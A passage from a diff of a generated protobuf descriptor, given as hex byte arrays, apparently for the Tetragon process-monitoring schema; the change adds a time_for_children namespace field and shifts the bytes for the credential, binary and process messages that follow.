0x75, 0x73, 0x65, 0x72, 0x22, - 0xc7, 0x01, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, - 0x65, 0x12, 0x31, 0x0a, 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x6c, - 0x65, 0x76, 0x65, 0x6c, 0x12, 0x2e, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x03, 0x75, 0x69, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x67, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x03, 0x67, 0x69, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x02, 0x6e, 0x73, 0x22, 0xbc, 0x04, 0x0a, 0x12, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x12, 0x2e, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x75, 0x69, 0x64, - 0x12, 0x2e, 0x0a, 0x03, 0x67, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x67, 0x69, 0x64, - 0x12, 0x30, 0x0a, 0x04, 0x65, 0x75, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x04, 0x65, 0x75, - 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x65, 0x67, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x70, 0x61, 0x63, 0x65, 0x52, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x74, 0x69, + 0x6d, 0x65, 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x63, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x0f, 0x74, 0x69, 0x6d, 0x65, + 0x46, 0x6f, 0x72, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x12, 0x2b, 0x0a, 0x06, 0x63, + 0x67, 0x72, 0x6f, 0x75, 0x70, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, + 0x52, 0x06, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x12, 0x27, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x04, 0x75, 0x73, 0x65, + 0x72, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, + 0x61, 0x63, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x12, 0x2e, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x03, 0x75, 0x69, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x67, 0x69, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x03, 0x67, 0x69, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x02, 0x6e, 0x73, 0x22, 0xbc, 0x04, 0x0a, 0x12, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x73, 0x12, 0x2e, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x75, + 0x69, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x67, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x67, + 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x65, 0x75, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x04, - 0x65, 0x67, 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x73, 0x75, 0x69, 0x64, 0x18, 0x05, 0x20, 0x01, + 0x65, 0x75, 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x65, 0x67, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x04, 0x73, 0x75, 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x73, 0x67, 0x69, 0x64, 0x18, 0x06, + 0x52, 0x04, 0x65, 0x67, 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x73, 0x75, 0x69, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x04, 0x73, 0x67, 0x69, 0x64, 0x12, 0x32, 0x0a, 0x05, 0x66, 0x73, 0x75, 0x69, - 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x66, 0x73, 0x75, 0x69, 0x64, 0x12, 0x32, 0x0a, 0x05, - 0x66, 0x73, 0x67, 0x69, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, - 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x66, 0x73, 0x67, 0x69, 0x64, - 0x12, 0x38, 0x0a, 0x0a, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x69, 0x74, 0x73, 0x18, 0x09, - 0x20, 0x03, 0x28, 0x0e, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x42, 0x69, 0x74, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0a, - 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x69, 0x74, 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x63, 0x61, - 0x70, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, - 0x52, 0x04, 0x63, 0x61, 0x70, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x75, 0x73, 0x65, 0x72, 0x5f, 0x6e, - 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, - 0x52, 0x06, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x73, 0x22, 0x5d, 0x0a, 0x0f, 0x49, 0x6e, 0x6f, 0x64, - 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x75, 0x6d, 0x62, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6e, 0x75, 0x6d, - 0x62, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x22, 0x55, 0x0a, 0x0e, 0x46, 0x69, 0x6c, 0x65, 0x50, - 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x05, 0x69, 0x6e, 0x6f, - 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x6f, 0x64, 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, - 0x69, 0x65, 0x73, 0x52, 0x05, 0x69, 0x6e, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x22, 0xff, - 0x01, 0x0a, 0x10, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, - 0x69, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x06, 0x73, 0x65, 0x74, 0x75, 0x69, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x06, 0x73, 0x65, 0x74, 0x75, 0x69, 0x64, 0x12, 0x34, 0x0a, 0x06, 0x73, 0x65, 0x74, - 0x67, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x75, 0x65, 0x52, 0x04, 0x73, 0x75, 0x69, 0x64, 0x12, 0x30, 0x0a, 0x04, 0x73, 0x67, 0x69, 0x64, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x04, 0x73, 0x67, 0x69, 0x64, 0x12, 0x32, 0x0a, 0x05, 0x66, 0x73, + 0x75, 0x69, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, - 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x73, 0x65, 0x74, 0x67, 0x69, 0x64, 0x12, - 0x51, 0x0a, 0x12, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x50, 0x72, - 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x64, 0x52, - 0x11, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x64, 0x12, 0x2c, 0x0a, 0x04, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x46, 0x69, 0x6c, 0x65, - 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x52, 0x04, 0x66, 0x69, 0x6c, 0x65, - 0x22, 0x20, 0x0a, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x63, 0x6f, 0x72, 0x64, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x22, 0xc4, 0x06, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x17, - 0x0a, 0x07, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x65, 0x78, 0x65, 0x63, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x70, 0x69, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x03, 0x70, 0x69, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x03, + 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x66, 0x73, 0x75, 0x69, 0x64, 0x12, 0x32, + 0x0a, 0x05, 0x66, 0x73, 0x67, 0x69, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x66, 0x73, 0x67, + 0x69, 0x64, 0x12, 0x38, 0x0a, 0x0a, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x69, 0x74, 0x73, + 0x18, 0x09, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x42, 0x69, 0x74, 0x73, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x0a, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x69, 0x74, 0x73, 0x12, 0x2a, 0x0a, 0x04, + 0x63, 0x61, 0x70, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, + 0x65, 0x73, 0x52, 0x04, 0x63, 0x61, 0x70, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x75, 0x73, 0x65, 0x72, + 0x5f, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x52, 0x06, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x73, 0x22, 0x5d, 0x0a, 0x0f, 0x49, 0x6e, + 0x6f, 0x64, 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x16, 0x0a, + 0x06, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6e, + 0x75, 0x6d, 0x62, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x03, 0x75, 0x69, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x63, 0x77, 0x64, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x63, 0x77, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x69, 0x6e, - 0x61, 0x72, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x62, 0x69, 0x6e, 0x61, 0x72, - 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x66, 0x6c, 0x61, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x74, 0x61, 0x72, 0x74, 0x5f, 0x74, - 0x69, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, - 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x54, 0x69, 0x6d, 0x65, - 0x12, 0x30, 0x0a, 0x04, 0x61, 0x75, 0x69, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x04, 0x61, 0x75, - 0x69, 0x64, 0x12, 0x1f, 0x0a, 0x03, 0x70, 0x6f, 0x64, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x0d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x6f, 0x64, 0x52, 0x03, - 0x70, 0x6f, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x63, 0x6b, 0x65, 0x72, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x63, 0x6b, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0e, 0x70, - 0x61, 0x72, 0x65, 0x6e, 0x74, 0x5f, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x69, 0x64, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x45, 0x78, 0x65, 0x63, 0x49, - 0x64, 0x12, 0x16, 0x0a, 0x06, 0x72, 0x65, 0x66, 0x63, 0x6e, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x06, 0x72, 0x65, 0x66, 0x63, 0x6e, 0x74, 0x12, 0x28, 0x0a, 0x03, 0x63, 0x61, 0x70, - 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x52, 0x03, - 0x63, 0x61, 0x70, 0x12, 0x24, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, - 0x70, 0x61, 0x63, 0x65, 0x73, 0x52, 0x02, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x03, 0x74, 0x69, 0x64, - 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x74, 0x69, 0x64, 0x12, 0x4d, 0x0a, 0x13, 0x70, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x5f, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x52, 0x12, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x47, 0x0a, 0x11, 0x62, 0x69, 0x6e, 0x61, - 0x72, 0x79, 0x5f, 0x70, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x18, 0x12, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x74, 